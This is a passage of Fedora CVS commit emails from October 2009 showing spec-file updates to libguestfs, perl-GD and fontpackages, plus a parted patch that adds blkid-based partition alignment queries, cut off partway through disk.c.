RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch	29 Oct 2009 18:38:09 -0000	1.2
+++ 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch	29 Oct 2009 18:49:13 -0000	1.3
@@ -1,7 +1,7 @@
 From a4e27cdf4d3b831792dd20d796dc98a5bc684290 Mon Sep 17 00:00:00 2001
 From: Richard Jones <rjones at redhat.com>
 Date: Thu, 29 Oct 2009 17:54:48 +0000
-Subject: [PATCH 1/2] RHEL 5: Detect endianness functions and supply them.
+Subject: [PATCH 1/3] RHEL 5: Detect endianness functions and supply them.
 
 ---
  configure.ac     |    2 +-

0002-RHEL-5-Also-add-le-16-64-toh-functions.patch:
 hivex.c |   13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

Index: 0002-RHEL-5-Also-add-le-16-64-toh-functions.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/0002-RHEL-5-Also-add-le-16-64-toh-functions.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0002-RHEL-5-Also-add-le-16-64-toh-functions.patch	29 Oct 2009 18:38:10 -0000	1.1
+++ 0002-RHEL-5-Also-add-le-16-64-toh-functions.patch	29 Oct 2009 18:49:13 -0000	1.2
@@ -1,7 +1,7 @@
 From d707ecc55ac2de267608435bdc1052176aecff46 Mon Sep 17 00:00:00 2001
 From: Richard Jones <rjones at redhat.com>
 Date: Thu, 29 Oct 2009 18:36:12 +0000
-Subject: [PATCH 2/2] RHEL 5: Also add le{16,64}toh functions
+Subject: [PATCH 2/3] RHEL 5: Also add le{16,64}toh functions
 
 ---
  hivex/hivex.c |   12 ++++++++++++


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- libguestfs.spec	29 Oct 2009 18:38:10 -0000	1.77
+++ libguestfs.spec	29 Oct 2009 18:49:13 -0000	1.78
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.5
+Release:     1%{?dist}.6
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -15,6 +15,7 @@ BuildRoot:   %{_tmppath}/%{name}-%{versi
 # Next lines should be removed in 1.0.76:
 Patch0:      0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
 Patch1:      0002-RHEL-5-Also-add-le-16-64-toh-functions.patch
+Patch2:      0003-Fix-misspelling-in-previous-commit.patch
 BuildRequires: autoconf, automake, libtool, gettext-devel
 
 # Currently fails on PPC because:
@@ -327,6 +328,7 @@ Requires:    jpackage-utils
 # Remove this in 1.0.76:
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 mv inspector/Makefile.am inspector/Makefile.am.orig
 echo 'docdir = ${datadir}/doc/${PACKAGE}' > inspector/Makefile.am
 cat inspector/Makefile.am.orig >> inspector/Makefile.am
@@ -577,7 +579,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.5
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.6
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From kasal at fedoraproject.org  Thu Oct 29 18:54:30 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:54:30 +0000 (UTC)
Subject: rpms/perl-GD/devel perl-GD.spec,1.29,1.30
Message-ID: <20091029185430.1107511C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-GD/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29480

Modified Files:
	perl-GD.spec 
Log Message:
- give up tests on ppc


Index: perl-GD.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/devel/perl-GD.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- perl-GD.spec	6 Oct 2009 16:39:45 -0000	1.29
+++ perl-GD.spec	29 Oct 2009 18:54:29 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           perl-GD
 Version:        2.44
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Perl interface to the GD graphics library
 
 Group:          Development/Libraries
@@ -49,7 +49,11 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
+%ifarch ppc
+# testsuite fails on ppc
+%else
 make test
+%endif
 %ifarch %{ix86}
 perl t/GD.t --write
 : This is the file that should contain some blue color:
@@ -73,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 2.44-2
+- give up tests on ppc
+
 * Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.44-1
 - new upstream version
 - run tests always



From kasal at fedoraproject.org  Thu Oct 29 18:55:03 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:55:03 +0000 (UTC)
Subject: rpms/perl-GD/F-12 perl-GD.spec,1.29,1.30
Message-ID: <20091029185503.61EDE11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-GD/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29676

Modified Files:
	perl-GD.spec 
Log Message:
- give up tests on ppc


Index: perl-GD.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/F-12/perl-GD.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- perl-GD.spec	29 Oct 2009 18:17:51 -0000	1.29
+++ perl-GD.spec	29 Oct 2009 18:55:03 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           perl-GD
 Version:        2.44
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Perl interface to the GD graphics library
 
 Group:          Development/Libraries
@@ -49,7 +49,11 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
+%ifarch ppc
+# testsuite fails on ppc
+%else
 make test
+%endif
 %ifarch %{ix86}
 perl t/GD.t --write
 : This is the file that should contain some blue color:
@@ -73,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 2.44-2
+- give up tests on ppc
+
 * Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.44-1
 - new upstream version
 - run tests always



From rjones at fedoraproject.org  Thu Oct 29 19:02:18 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 19:02:18 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.78,1.79
Message-ID: <20091029190218.8044A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32273

Modified Files:
	libguestfs.spec 
Log Message:
Bump to force rebuild.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- libguestfs.spec	29 Oct 2009 18:49:13 -0000	1.78
+++ libguestfs.spec	29 Oct 2009 19:02:17 -0000	1.79
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.6
+Release:     1%{?dist}.7
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -579,7 +579,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.6
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.7
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From nim at fedoraproject.org  Thu Oct 29 19:04:00 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 29 Oct 2009 19:04:00 +0000 (UTC)
Subject: rpms/fontpackages/devel .cvsignore, 1.19, 1.20 fontpackages.spec,
	1.25, 1.26 import.log, 1.21, 1.22 sources, 1.19, 1.20
Message-ID: <20091029190400.B3B0811C00E5@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv357/devel

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.30


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	27 Oct 2009 22:49:32 -0000	1.19
+++ .cvsignore	29 Oct 2009 19:03:59 -0000	1.20
@@ -1 +1 @@
-fontpackages-1.29.tar.xz
+fontpackages-1.30.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/fontpackages.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- fontpackages.spec	27 Oct 2009 22:49:32 -0000	1.25
+++ fontpackages.spec	29 Oct 2009 19:04:00 -0000	1.26
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.29
+Version: 1.30
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -112,6 +112,10 @@ rm -fr %{buildroot}
 %attr(0755,root,root) %{_bindir}/*
 
 %changelog
+* Thu Oct 29 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.30-1
+? Bugfix release
+
 * Tue Oct 27 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.29-1
 ? Split out tools as repo-font-audit requirements grow


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/import.log,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- import.log	27 Oct 2009 22:49:32 -0000	1.21
+++ import.log	29 Oct 2009 19:04:00 -0000	1.22
@@ -19,3 +19,4 @@ fontpackages-1_26-1_fc12:HEAD:fontpackag
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
 fontpackages-1_28-1_fc13:HEAD:fontpackages-1.28-1.fc13.src.rpm:1255987394
 fontpackages-1_29-1_fc13:HEAD:fontpackages-1.29-1.fc13.src.rpm:1256683739
+fontpackages-1_30-1_fc13:HEAD:fontpackages-1.30-1.fc13.src.rpm:1256843017


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	27 Oct 2009 22:49:33 -0000	1.19
+++ sources	29 Oct 2009 19:04:00 -0000	1.20
@@ -1 +1 @@
-481b29bf3e4410848ba2aaf01b25d80e  fontpackages-1.29.tar.xz
+b480c95f0072225764f6c9d6170806f8  fontpackages-1.30.tar.xz



From nim at fedoraproject.org  Thu Oct 29 19:05:40 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 29 Oct 2009 19:05:40 +0000 (UTC)
Subject: rpms/fontpackages/F-12 .cvsignore, 1.19, 1.20 fontpackages.spec,
	1.25, 1.26 import.log, 1.21, 1.22 sources, 1.19, 1.20
Message-ID: <20091029190540.2811011C00E5@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv910/F-12

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.30


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	27 Oct 2009 22:50:17 -0000	1.19
+++ .cvsignore	29 Oct 2009 19:05:39 -0000	1.20
@@ -1 +1 @@
-fontpackages-1.29.tar.xz
+fontpackages-1.30.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/fontpackages.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- fontpackages.spec	27 Oct 2009 22:50:18 -0000	1.25
+++ fontpackages.spec	29 Oct 2009 19:05:39 -0000	1.26
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.29
+Version: 1.30
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -112,6 +112,10 @@ rm -fr %{buildroot}
 %attr(0755,root,root) %{_bindir}/*
 
 %changelog
+* Thu Oct 29 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.30-1
+? Bugfix release
+
 * Tue Oct 27 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.29-1
 ? Split out tools as repo-font-audit requirements grow


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/import.log,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- import.log	27 Oct 2009 22:50:18 -0000	1.21
+++ import.log	29 Oct 2009 19:05:39 -0000	1.22
@@ -19,3 +19,4 @@ fontpackages-1_26-1_fc12:HEAD:fontpackag
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
 fontpackages-1_28-1_fc13:F-12:fontpackages-1.28-1.fc13.src.rpm:1255987476
 fontpackages-1_29-1_fc13:F-12:fontpackages-1.29-1.fc13.src.rpm:1256683797
+fontpackages-1_30-1_fc13:F-12:fontpackages-1.30-1.fc13.src.rpm:1256843115


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	27 Oct 2009 22:50:18 -0000	1.19
+++ sources	29 Oct 2009 19:05:39 -0000	1.20
@@ -1 +1 @@
-481b29bf3e4410848ba2aaf01b25d80e  fontpackages-1.29.tar.xz
+b480c95f0072225764f6c9d6170806f8  fontpackages-1.30.tar.xz



From jwrdegoede at fedoraproject.org  Thu Oct 29 19:05:51 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu, 29 Oct 2009 19:05:51 +0000 (UTC)
Subject: rpms/parted/devel parted-1.9.0-export-alignment-info.patch, NONE,
	1.1 parted.spec, 1.151, 1.152
Message-ID: <20091029190551.7592111C00E5@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1008

Modified Files:
	parted.spec 
Added Files:
	parted-1.9.0-export-alignment-info.patch 
Log Message:
* Thu Oct 29 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-18
- Add functions to query device / partition table alignments (#528030)


parted-1.9.0-export-alignment-info.patch:
 configure.ac             |   12 ++++
 include/parted/device.h  |   13 ++++
 include/parted/disk.h    |    3 +
 include/parted/natmath.h |    1 
 libparted/Makefile.am    |    1 
 libparted/arch/linux.c   |   65 +++++++++++++++++++++-
 libparted/arch/linux.h   |    8 ++
 libparted/device.c       |  135 +++++++++++++++++++++++++++++++++++++++++++----
 libparted/disk.c         |   20 ++++++
 libparted/labels/dasd.c  |   11 +++
 libparted/labels/mac.c   |   11 +++
 libparted/labels/pc98.c  |   12 +++-
 libparted/labels/rdb.c   |   12 +++-
 libparted/labels/sun.c   |   10 +++
 14 files changed, 297 insertions(+), 17 deletions(-)

--- NEW FILE parted-1.9.0-export-alignment-info.patch ---
diff -up parted-1.9.0/configure.ac.export-align parted-1.9.0/configure.ac
--- parted-1.9.0/configure.ac.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/configure.ac	2009-10-29 15:19:31.000000000 +0100
@@ -519,6 +519,18 @@ HOST=$(hostname)
 BUILDINFO="$USER@$HOST, $DATE"
 AC_SUBST([BUILDINFO])
 
+LIB_BLKID=
+AC_SUBST([LIB_BLKID])
+pe_saved_libs=$LIBS
+  AC_SEARCH_LIBS([blkid_probe_get_topology], [blkid],
+    [test "$ac_cv_search_blkid_probe_get_topology" = "none required" \
+     || LIB_BLKID=$ac_cv_search_blkid_probe_get_topology])
+  AC_CHECK_FUNC([blkid_probe_get_topology], [use_blkid=1], [use_blkid=0])
+LIBS=$pe_saved_libs
+AC_DEFINE_UNQUOTED([USE_BLKID], [$use_blkid],
+  [Define if you have sufficient blkid support.])
+AC_CHECK_HEADERS_ONCE([blkid/blkid.h])
+
 AC_OUTPUT([
 Makefile
 lib/Makefile
diff -up parted-1.9.0/include/parted/device.h.export-align parted-1.9.0/include/parted/device.h
--- parted-1.9.0/include/parted/device.h.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/include/parted/device.h	2009-10-29 15:19:31.000000000 +0100
@@ -92,6 +92,8 @@ struct _PedDevice {
         void*           arch_specific;
 };
 
+#include <parted/natmath.h>
+
 /**
  * List of functions implementing architecture-specific operations.
  */
@@ -112,6 +114,9 @@ struct _PedDeviceArchOps {
         PedSector (*check) (PedDevice* dev, void* buffer,
                             PedSector start, PedSector count);
         void (*probe_all) ();
+        /* These functions are optional */
+        PedAlignment *(*get_minimum_alignment)(const PedDevice *dev);
+        PedAlignment *(*get_optimum_alignment)(const PedDevice *dev);
 };
 
 #include <parted/constraint.h>
@@ -141,6 +146,14 @@ extern PedSector ped_device_check (PedDe
                                    PedSector start, PedSector count);
 extern PedConstraint* ped_device_get_constraint (PedDevice* dev);
 
+extern PedConstraint *ped_device_get_minimal_aligned_constraint(
+                                                         const PedDevice *dev);
+extern PedConstraint *ped_device_get_optimal_aligned_constraint(
+                                                         const PedDevice *dev);
+
+extern PedAlignment *ped_device_get_minimum_alignment(const PedDevice *dev);
+extern PedAlignment *ped_device_get_optimum_alignment(const PedDevice *dev);
+
 /* private stuff ;-) */
 
 extern void _ped_device_probe (const char* path);
diff -up parted-1.9.0/include/parted/disk.h.export-align parted-1.9.0/include/parted/disk.h
--- parted-1.9.0/include/parted/disk.h.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/include/parted/disk.h	2009-10-29 15:19:31.000000000 +0100
@@ -216,6 +216,7 @@ struct _PedDiskOps {
         int (*get_max_primary_partition_count) (const PedDisk* disk);
         bool (*get_max_supported_partition_count) (const PedDisk* disk,
                                                    int* supported);
+        PedAlignment *(*get_partition_alignment)(const PedDisk *disk);
 };
 
 struct _PedDiskType {
@@ -265,6 +266,8 @@ extern int ped_disk_get_last_partition_n
 extern int ped_disk_get_max_primary_partition_count (const PedDisk* disk);
 extern bool ped_disk_get_max_supported_partition_count(const PedDisk* disk,
                                                        int* supported);
+extern PedAlignment *ped_disk_get_partition_alignment(const PedDisk *disk);
+
 extern int ped_disk_align_to_cylinders_on();
 extern int ped_disk_align_to_cylinders_toggle();
 /** @} */
diff -up parted-1.9.0/include/parted/natmath.h.export-align parted-1.9.0/include/parted/natmath.h
--- parted-1.9.0/include/parted/natmath.h.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/include/parted/natmath.h	2009-10-29 15:19:31.000000000 +0100
@@ -31,6 +31,7 @@ typedef struct _PedAlignment	PedAlignmen
 
 #include <parted/disk.h>
 #include <parted/device.h>
+#include <parted/geom.h>
 
 #define PED_MIN(a, b)	( ((a)<(b)) ? (a) : (b) )
 #define PED_MAX(a, b)	( ((a)>(b)) ? (a) : (b) )
diff -up parted-1.9.0/libparted/Makefile.am.export-align parted-1.9.0/libparted/Makefile.am
--- parted-1.9.0/libparted/Makefile.am.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/libparted/Makefile.am	2009-10-29 15:19:31.000000000 +0100
@@ -50,6 +50,7 @@ libparted_la_LIBADD =	\
   $(DL_LIBS)		\
   $(DM_LIBS)		\
   $(SELINUX_LIBS)	\
+  $(LIB_BLKID)		\
   $(INTLLIBS)
 
 EXTRA_DIST	      = mbr.s
diff -up parted-1.9.0/libparted/arch/linux.c.export-align parted-1.9.0/libparted/arch/linux.c
--- parted-1.9.0/libparted/arch/linux.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/arch/linux.c	2009-10-29 15:22:59.000000000 +0100
@@ -598,7 +598,26 @@ _have_kern26 ()
         kver = _get_linux_version();
         return have_kern26 = kver >= KERNEL_VERSION (2,6,0) ? 1 : 0;
 }
-  
+
+#if USE_BLKID
+static void
+get_blkid_topology (LinuxSpecific *arch_specific)
+{
+        arch_specific->topology = NULL;
+
+        arch_specific->probe = blkid_new_probe ();
+        if (!arch_specific->probe)
+                return;
+
+        if (blkid_probe_set_device(arch_specific->probe,
+                                   arch_specific->fd, 0, 0))
+                return;
+
+        arch_specific->topology =
+                blkid_probe_get_topology(arch_specific->probe);
+}
+#endif
+
 static void
 _device_set_sector_size (PedDevice* dev)
 {
@@ -626,6 +645,9 @@ _device_set_sector_size (PedDevice* dev)
                 dev->sector_size = (long long)sector_size;
         }
 
+#if USE_BLKID
+        get_blkid_topology(arch_specific);
+#endif
         /* Return PED_SECTOR_SIZE_DEFAULT for DASDs. */
         if (dev->type == PED_DEVICE_DASD) {
                 dev->sector_size = PED_SECTOR_SIZE_DEFAULT;
@@ -1335,7 +1357,12 @@ error:
 static void
 linux_destroy (PedDevice* dev)
 {
-        free (((LinuxSpecific*)dev->arch_specific)->dmtype);
+        LinuxSpecific *arch_specific = LINUX_SPECIFIC(dev);
+#if USE_BLKID
+        if (arch_specific->probe)
+                blkid_free_probe(arch_specific->probe);
+#endif
+        free (arch_specific->dmtype);
         free (dev->arch_specific);
         free (dev->path);
         free (dev->model);
@@ -2446,6 +2473,34 @@ linux_disk_commit (PedDisk* disk)
         return 1;
 }
 
+#if HAVE_BLKID_BLKID_H
+PedAlignment*
+linux_get_minimum_alignment(const PedDevice *dev)
+{
+        blkid_topology tp = LINUX_SPECIFIC(dev)->topology;
+
+        if (!tp)
+                return NULL; /* ped_alignment_none */
+
+        return ped_alignment_new(
+                blkid_topology_get_alignment_offset(tp) / dev->sector_size,
+                blkid_topology_get_minimum_io_size(tp) / dev->sector_size);
+}
+
+PedAlignment*
+linux_get_optimum_alignment(const PedDevice *dev)
+{
+        blkid_topology tp = LINUX_SPECIFIC(dev)->topology;
+
+        if (!tp)
+                return NULL; /* ped_alignment_none */
+
+        return ped_alignment_new(
+                blkid_topology_get_alignment_offset(tp) / dev->sector_size,
+                blkid_topology_get_optimal_io_size(tp) / dev->sector_size);
+}
+#endif
+
 static PedDeviceArchOps linux_dev_ops = {
         _new:           linux_new,
         destroy:        linux_destroy,
@@ -2459,7 +2514,11 @@ static PedDeviceArchOps linux_dev_ops = 
         check:          linux_check,
         sync:           linux_sync,
         sync_fast:      linux_sync_fast,
-        probe_all:      linux_probe_all
+        probe_all:      linux_probe_all,
+#if HAVE_BLKID_BLKID_H
+        get_minimum_alignment:	linux_get_minimum_alignment,
+        get_optimum_alignment:	linux_get_optimum_alignment,
+#endif
 };
 
 PedDiskArchOps linux_disk_ops =  {
diff -up parted-1.9.0/libparted/arch/linux.h.export-align parted-1.9.0/libparted/arch/linux.h
--- parted-1.9.0/libparted/arch/linux.h.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/libparted/arch/linux.h	2009-10-29 15:19:31.000000000 +0100
@@ -22,6 +22,10 @@
 #  include <parted/fdasd.h>
 #endif
 
+#if HAVE_BLKID_BLKID_H
+#  include <blkid/blkid.h>
+#endif
+
 #define LINUX_SPECIFIC(dev)	((LinuxSpecific*) (dev)->arch_specific)
 
 typedef	struct _LinuxSpecific	LinuxSpecific;
@@ -34,6 +38,10 @@ struct _LinuxSpecific {
 	/* IBM internal dasd structure (i guess ;), required. */
 	struct fdasd_anchor *anchor;
 #endif
+#if HAVE_BLKID_BLKID_H
+        blkid_probe probe;
+        blkid_topology topology;
+#endif
 };
 
 #endif /* PED_ARCH_LINUX_H_INCLUDED */
diff -up parted-1.9.0/libparted/device.c.export-align parted-1.9.0/libparted/device.c
--- parted-1.9.0/libparted/device.c.export-align	2009-07-23 19:52:08.000000000 +0200
+++ parted-1.9.0/libparted/device.c	2009-10-29 15:19:31.000000000 +0100
@@ -416,33 +416,146 @@ ped_device_sync_fast (PedDevice* dev)
 }
 
 /**
- * Get a constraint that represents hardware requirements on alignment and
- * geometry.
- * This is, for example, important for media that have a physical sector
- * size that is a multiple of the logical sector size.
+ * Get a constraint that represents hardware requirements on geometry.
+ * This function will return a constraint representing the limits imposed
+ * by the size of the disk, it will *not* provide any alignment constraints.
  *
- * \warning This function is experimental for physical sector sizes not equal to
- *          2^9.
+ * Alignment constraints may be desirable when using media that have a physical
+ * sector size that is a multiple of the logical sector size, as in this case
+ * proper partition alignment can benefit disk performance signigicantly.
+ * When you want a constraint with alignment info, use
+ * ped_device_get_minimal_aligned_constraint() or
+ * ped_device_get_optimal_aligned_constraint().
+ *
+ * \return NULL on error, otherwise a pointer to a dynamically allocated
+ *         constraint.
  */
 PedConstraint*
 ped_device_get_constraint (PedDevice* dev)
 {
-        int multiplier = dev->phys_sector_size / dev->sector_size;
-
-        PedAlignment* start_align = ped_alignment_new (multiplier, multiplier);
-
         PedGeometry *s, *e;
         PedConstraint* c = ped_constraint_new (
-                                start_align, ped_alignment_any,
+                                ped_alignment_any, ped_alignment_any,
                                 s = ped_geometry_new (dev, 0, dev->length),
                                 e = ped_geometry_new (dev, 0, dev->length),
                                 1, dev->length);
 
         free (s);
         free (e);
+        return c;
+}
+
+static PedConstraint*
+_ped_device_get_aligned_constraint(const PedDevice *dev,
+                                   PedAlignment* start_align)
+{
+        PedAlignment *end_align = NULL;
+        PedGeometry *whole_dev_geom = NULL;
+        PedConstraint *c = NULL;
+
+        if (start_align) {
+                end_align = ped_alignment_new(start_align->offset - 1,
+                                              start_align->grain_size);
+                if (!end_align)
+                        goto free_start_align;
+        }
+
+        whole_dev_geom = ped_geometry_new (dev, 0, dev->length);
+
+        if (start_align)
+                c =  ped_constraint_new (start_align, end_align,
+                                         whole_dev_geom, whole_dev_geom,
+                                         1, dev->length);
+        else
+                c =  ped_constraint_new (ped_alignment_any, ped_alignment_any,
+                                         whole_dev_geom, whole_dev_geom,
+                                         1, dev->length);
+
+        free (whole_dev_geom);
+        free (end_align);
+free_start_align:
         free (start_align);
         return c;
 }
 
+/**
+ * Get a constraint that represents hardware requirements on geometry and
+ * alignment.
+ *
+ * This function will return a constraint representing the limits imposed
+ * by the size of the disk and the minimal alignment requirements for proper
+ * performance of the disk.
+ *
+ * \return NULL on error, otherwise a pointer to a dynamically allocated
+ *         constraint.
+ */
+PedConstraint*
+ped_device_get_minimal_aligned_constraint(const PedDevice *dev)
+{
+        return _ped_device_get_aligned_constraint(dev,
+                                         ped_device_get_minimum_alignment(dev));
+}
+
+/**
+ * Get a constraint that represents hardware requirements on geometry and
+ * alignment.
+ *
+ * This function will return a constraint representing the limits imposed
+ * by the size of the disk and the alignment requirements for optimal
+ * performance of the disk.
+ *
+ * \return NULL on error, otherwise a pointer to a dynamically allocated
+ *         constraint.
+ */
+PedConstraint*
+ped_device_get_optimal_aligned_constraint(const PedDevice *dev)
+{
+        return _ped_device_get_aligned_constraint(dev,
+                                         ped_device_get_optimum_alignment(dev));
+}
+
+/**
+ * Get an alignment that represents minimum hardware requirements on alignment.
+ * When for example using media that has a physical sector size that is a
+ * multiple of the logical sector size, it is desirable to have disk accesses
+ * (and thus partitions) properly aligned. Having partitions not aligned to
+ * the minimum hardware requirements may lead to a performance penalty.
+ *
+ * The returned alignment describes the alignment for the start sector of the
+ * partition, the end sector should be aligned too, to get the end sector
+ * alignment decrease the returned alignment's offset by 1.
+ *
+ * \return the minimum alignment of partition start sectors, or NULL if this
+ *         information is not available.
+ */
+PedAlignment*
+ped_device_get_minimum_alignment(const PedDevice *dev)
+{
+        if (ped_architecture->dev_ops->get_minimum_alignment)
+                return ped_architecture->dev_ops->get_minimum_alignment(dev);
+
+        return NULL; /* ped_alignment_none */
+}
+
+/**
+ * Get an alignment that represents the hardware requirements for optimal
+ * performance.
+ *
+ * The returned alignment describes the alignment for the start sector of the
+ * partition, the end sector should be aligned too, to get the end sector
+ * alignment decrease the returned alignment's offset by 1.
+ *
+ * \return the optimal alignment of partition start sectors, or NULL if this
+ *         information is not available.
+ */
+PedAlignment*
+ped_device_get_optimum_alignment(const PedDevice *dev)
+{
+        if (ped_architecture->dev_ops->get_optimum_alignment)
+                return ped_architecture->dev_ops->get_optimum_alignment(dev);
+
+        return NULL; /* ped_alignment_none */
+}
+
 /** @} */
 
diff -up parted-1.9.0/libparted/disk.c.export-align parted-1.9.0/libparted/disk.c
--- parted-1.9.0/libparted/disk.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/disk.c	2009-10-29 15:19:31.000000000 +0100
@@ -703,6 +703,26 @@ ped_disk_get_max_supported_partition_cou
 }
 
 /**
+ * Get the alignment needed for partition boundaries on this disk.
+ * The returned alignment describes the alignment for the start sector of the
